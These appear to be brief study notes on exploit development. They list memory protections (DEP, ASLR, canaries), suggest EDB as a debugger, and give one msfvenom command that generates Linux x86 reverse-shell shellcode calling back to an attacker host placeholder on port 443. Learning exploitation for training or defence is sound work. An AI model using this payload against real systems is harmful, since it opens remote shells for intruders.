## DEP, ASLR, Canaries
Protection mechanism
Use EDB as debugger.
### Reverse Shell Code Generation
`-b` for bad chars
`-f` output format
`-v` for variable name to use
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=443 -b "\x00\x20" -f py -v shellcode
```